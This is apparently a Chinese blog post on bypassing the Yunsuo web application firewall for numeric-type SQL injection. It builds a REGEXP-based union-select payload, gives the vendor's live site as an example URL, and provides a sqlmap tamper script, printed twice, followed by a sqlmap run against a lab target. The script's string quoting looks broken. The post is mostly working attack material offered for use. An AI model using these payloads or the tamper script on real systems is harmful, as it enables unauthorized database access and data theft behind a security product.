云锁之数字型注入继续绕过
0x00:简介
上一篇介绍了一下绕过云锁的一种思路,但是当注入点变为数字型时,继续使用此类注入会导致语法错误,所以此篇研究一下数字型注入点如何绕过云锁继续注入。
这里特别感谢刘兄给的建议
0x01:数字型绕过
上文使用的方法在应当数字型注入时,会产生语法错误,
那数字型注入怎么整呢 ,经过之前的fuzz 可以得出一个结论 云锁对注释符 /* */的过滤是不完整的,且经过测试 "/*" +语句+ "*/" 是可以绕过云锁的检测的,
如 http://help.yunsuo.com.cn/?id=1 "/" union select 1,2,3 "/"
那么 我们只需在数字型注入点构造此类关键字符即可绕过。
那么,如何构造呢 首先这串字符肯定不能随便加到语句中间,这样会导致语法错误
其次也不能加到语句末尾,这样会失去绕过的意义
那么 我们只能将其加到语句开始
接下来就是难点了 如何在不破坏语法的条件下将 "/*" 插入到语句前呢 ?
在我以为无解的时候 刘哥一语惊醒梦中人 可以正则啊
??? 还能这样
然后简单构造了一下语法
payload:SELECT * FROM users WHERE id = 1 REGEXP "[…/*]" union select 1,user(),3 只要匹配到任意字符即可
然后拿去云锁试一试
官网试一试
脚本自然而然就出来了
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""
import re
import os
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Bypass yunsuo_number by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
payload=payload.replace("and","REGEXP "[.../*]" and")
payload=re.sub(r'(ORDER BY \d+)', "x", payload)
payload=payload.replace("UNION","REGEXP "[.../*]" union")
return payload
# -*- coding: utf-8 -*-
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""
import re
import os
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Bypass yunsuo_number by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
payload=payload.replace("and","REGEXP "[.../*]" and")
payload=re.sub(r'(ORDER BY \d+)', "x", payload)
payload=payload.replace("UNION","REGEXP "[.../*]" union")
return payload
mysql跑一跑
python sqlmap.py -u http://192.168.150.128/sqli-labs/Less-2/?id=1 --batch --dbs --random-agent --tamper=test -v3
云锁直接gg 当然 警告还是这么多
清理警告的办法大家都懂
把所有的都替换即可
这是个体力活 等我测一段时间吧